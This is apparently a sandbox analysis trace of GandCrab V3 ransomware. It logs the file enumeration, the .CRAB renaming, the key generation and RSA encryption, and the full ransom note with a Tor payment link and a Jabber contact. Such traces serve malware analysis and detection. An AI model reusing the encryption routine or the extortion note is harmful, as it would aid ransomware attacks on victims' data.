	[0111.127] ReadFile (in: hFile=0x3e0, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3149f24*=0x35, lpOverlapped=0x0) returned 1
	[0111.139] VirtualAlloc (lpAddress=0x0, dwSize=0x40, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0111.139] VirtualAlloc (lpAddress=0x0, dwSize=0x40, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0111.139] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.140] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xffffffcb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.140] WriteFile (in: hFile=0x3e0, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3149f14*=0x40, lpOverlapped=0x0) returned 1
	[0111.140] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.140] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.144] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0111.144] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0111.156] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0111.156] CloseHandle (hObject=0x3e0) returned 1
	[0111.157] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.157] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.158] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.158] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.158] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.158] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.159] FindNextFileW (in: hFindFile=0xda7070, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0111.159] lstrcmpW (lpString1="83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2=".") returned 1
	[0111.159] lstrcmpW (lpString1="83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2="..") returned 1
	[0111.159] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b"
	[0111.159] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.159] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned 174
	[0111.159] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned 174
	[0111.159] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned 174
	[0111.159] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b") returned 174
	[0111.159] lstrcmpiW (lpString1="83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2="desktop.ini") returned -1
	[0111.159] lstrcmpiW (lpString1="83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2="autorun.inf") returned -1
	[0111.159] lstrcmpiW (lpString1="83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2="ntuser.dat") returned -1
	[0111.159] lstrcmpiW (lpString1="83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2="iconcache.db") returned -1
	[0111.159] lstrcmpiW (lpString1="83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2="bootsect.bak") returned -1
	[0111.159] lstrcmpiW (lpString1="83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2="boot.ini") returned -1
	[0111.159] lstrcmpiW (lpString1="83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2="ntuser.dat.log") returned -1
	[0111.159] lstrcmpiW (lpString1="83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2="thumbs.db") returned -1
	[0111.159] lstrcmpiW (lpString1="83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b", lpString2="CRAB-DECRYPT.txt") returned -1
	[0111.159] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.160] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b.CRAB") returned 179
	[0111.160] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b")) returned 0x24
	[0111.160] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b", dwFileAttributes=0x24) returned 1
	[0111.161] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b.crab")) returned 1
	[0111.162] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0111.162] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b.CRAB"
	[0111.162] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b.CRAB.CRAB"
	[0111.162] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0111.163] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0111.163] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0111.163] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0111.163] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0111.163] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0111.163] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.164] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e6b0) returned 1
	[0111.164] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0111.164] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0111.165] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0111.165] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0111.165] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0111.165] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.165] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0111.165] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0111.166] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0111.166] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xda6d30) returned 1
	[0111.166] CryptGetKeyParam (in: hKey=0xda6d30, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0111.166] CryptEncrypt (in: hKey=0xda6d30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0111.166] GetLastError () returned 0x0
	[0111.166] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0111.167] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e7c0) returned 1
	[0111.167] CryptImportKey (in: hProv=0xd6e7c0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xda6db0) returned 1
	[0111.167] CryptGetKeyParam (in: hKey=0xda6db0, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0111.167] CryptEncrypt (in: hKey=0xda6db0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0111.167] GetLastError () returned 0x0
	[0111.167] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0111.167] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1462094071-1423818996-289466292-1000\\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0111.168] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0111.168] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0111.169] ReadFile (in: hFile=0x3e0, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3149f24*=0x2d, lpOverlapped=0x0) returned 1
	[0111.181] VirtualAlloc (lpAddress=0x0, dwSize=0x30, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0111.181] VirtualAlloc (lpAddress=0x0, dwSize=0x30, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0111.181] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.181] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xffffffd3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.182] WriteFile (in: hFile=0x3e0, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3149f14*=0x30, lpOverlapped=0x0) returned 1
	[0111.182] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.182] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.186] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0111.186] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0111.187] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0111.187] CloseHandle (hObject=0x3e0) returned 1
	[0111.188] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.189] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.189] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.189] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.189] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.190] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.190] FindNextFileW (in: hFindFile=0xda7070, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0111.190] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0111.190] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0111.190] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\CRAB-DECRYPT.txt"
	[0111.190] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.190] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\CRAB-DECRYPT.txt") returned 121
	[0111.190] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\CRAB-DECRYPT.txt") returned 121
	[0111.190] lstrlenW (lpString=".txt") returned 4
	[0111.190] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.191] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0111.191] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.191] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\CRAB-DECRYPT.txt") returned 121
	[0111.191] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1462094071-1423818996-289466292-1000\\CRAB-DECRYPT.txt") returned 121
	[0111.191] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0111.191] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0111.191] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0111.191] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0111.191] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0111.191] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0111.191] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0111.191] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0111.191] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0111.191] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.191] FindNextFileW (in: hFindFile=0xda7070, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0
	[0111.191] FindClose (in: hFindFile=0xda7070 | out: hFindFile=0xda7070) returned 1
	[0111.192] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0111.192] FindClose (in: hFindFile=0xda7370 | out: hFindFile=0xda7370) returned 1
	[0111.192] FindNextFileW (in: hFindFile=0xda7130, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0111.192] FindClose (in: hFindFile=0xda7130 | out: hFindFile=0xda7130) returned 1
	[0111.192] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0111.192] lstrcmpW (lpString1="Document Building Blocks", lpString2=".") returned 1
	[0111.192] lstrcmpW (lpString1="Document Building Blocks", lpString2="..") returned 1
	[0111.192] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Document Building Blocks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks"
	[0111.192] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\"
	[0111.192] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.192] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0111.192] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0111.192] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0111.192] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0111.192] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.193] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0111.193] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0111.193] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0111.193] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0111.193] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0111.193] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0111.193] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.193] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\\\CRAB-DECRYPT.txt") returned 90
	[0111.193] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\document building blocks\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0111.195] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
